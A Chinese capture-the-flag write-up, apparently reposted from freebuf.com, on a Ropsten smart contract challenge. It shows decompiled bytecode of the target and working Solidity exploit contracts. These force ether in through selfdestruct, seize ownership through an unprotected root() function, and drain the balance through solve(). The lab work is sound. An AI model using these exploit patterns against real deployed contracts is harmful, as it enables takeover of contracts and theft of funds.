赛题
题目地址:0xb4D288dE112799141064CF2Af23ab33C074863D4@ropsten
赛题分析
ethervm.io智能合约反编译:https://ethervm.io/decompile/ropsten/0xb4D288dE112799141064CF2Af23ab33C074863D4
得到结果:
Public Methods
0x74772eb3 Unknown
0x8da5cb5b owner()
0xb8b8d35a Unknown
0xebf0c717 root()
Internal Methods
func_0154(arg1) returns (r0)
owner(arg0) returns (r0)
func_0199(arg0)
root()
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) {
label_0062:
var var0 = msg.value;
if (!var0) { revert(memory[0x00:0x00]); }
else { revert(memory[0x00:0x00]); }
} else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x74772eb3) {
// Dispatch table entry for 0x74772eb3 (unknown)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009f;
var var2 = msg.data[0x04:0x24];
var2 = func_0154(var2);
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x8da5cb5b) {
// Dispatch table entry for owner()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ce;
var2 = owner();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else if (var0 == 0xb8b8d35a) {
// Dispatch table entry for 0xb8b8d35a (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x013b;
var2 = msg.data[0x04:0x24];
func_0199(var2);
stop();
} else if (var0 == 0xebf0c717) {
// Dispatch table entry for root()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0152;
root();
stop();
} else { goto label_0062; }
}
}
function func_0154(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])] & 0xff;
}
function owner() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_0199(var arg0) {
if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff != arg0 & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
if (address(address(this)).balance < 0x038d7ea4c68000) { revert(memory[0x00:0x00]); }
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
if (!temp2) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = arg0;
memory[0x20:0x40] = 0x01;
var temp3 = keccak256(memory[0x00:0x40]);
storage[temp3] = (storage[temp3] & ~0xff) | 0x01;
}
function root() {
storage[0x00] = msg.sender | (storage[0x00] & ~0xffffffffffffffffffffffffffffffffffffffff);
}
}
再进一步查询其中的0x74772eb3
函数和0xb8b8d35a
函数,得到具体的函数名称:
0x74772eb3 -> is_successful(uint256) // 目标函数
0xb8b8d35a -> solve(uint256)
Etherscan智能合约反编译(靠谱):
https://ropsten.etherscan.io/bytecode-decompiler?a=0xb4D288dE112799141064CF2Af23ab33C074863D4
#
# Panoramix v4 Oct 2019
# Decompiled source of ropsten:0xb4D288dE112799141064CF2Af23ab33C074863D4
#
# Let's make the world open source
#
def storage:
owner is addr at storage 0
stor1 is mapping of uint8 at storage 1
def unknown74772eb3(uint256 _param1): # not payable
return bool(stor1[_param1])
def owner(): # not payable
return owner
#
# Regular functions
#
def root(): # not payable
owner = caller
def _fallback(): # not payable, default function
revert
def unknownb8b8d35a(addr _param1): # not payable
require owner == _param1
require eth.balance(this.address) >= 10^15
call caller with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
require ext_call.success
stor1[_param1] = 1
解题过程
首先通过销毁合约对目标进行转账,金额为>0.001 eth
pragma solidity ^0.4.0;
contract trans{
function transTo(address _aim) public{
selfdestruct(_aim);
}
function () payable{
}
}
然后调用攻击合约
pragma solidity ^0.4.0;
contract attackConstract{
function attackRoot(address _aim) public{
_aim.call(bytes4(keccak256("root()")));
}
function attackSolve(address _aim) public{
// "solve(uint256)"要根据反编译结果或反编译出来的函数签名来写!!!
_aim.call(bytes4(keccak256("solve(uint256)")), this);
}
function attackSucc(address _aim) public{
// "is_successful(uint256)"要根据反编译结果或反编译出来的函数签名来写!!!
_aim.call(bytes4(keccak256("is_successful(uint256)")), this);
}
function () payable{ }
}
攻击步骤
调用attackRoot函数将目标函数的owner设为攻击合约
调用attackSolve函数将目标地址的值设为1
调用attackSucc函数,获取true返回值
提交攻击合约的地址
交易细节:
来源:freebuf.com 2021-05-18 20:45:13 by: 小汽油
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册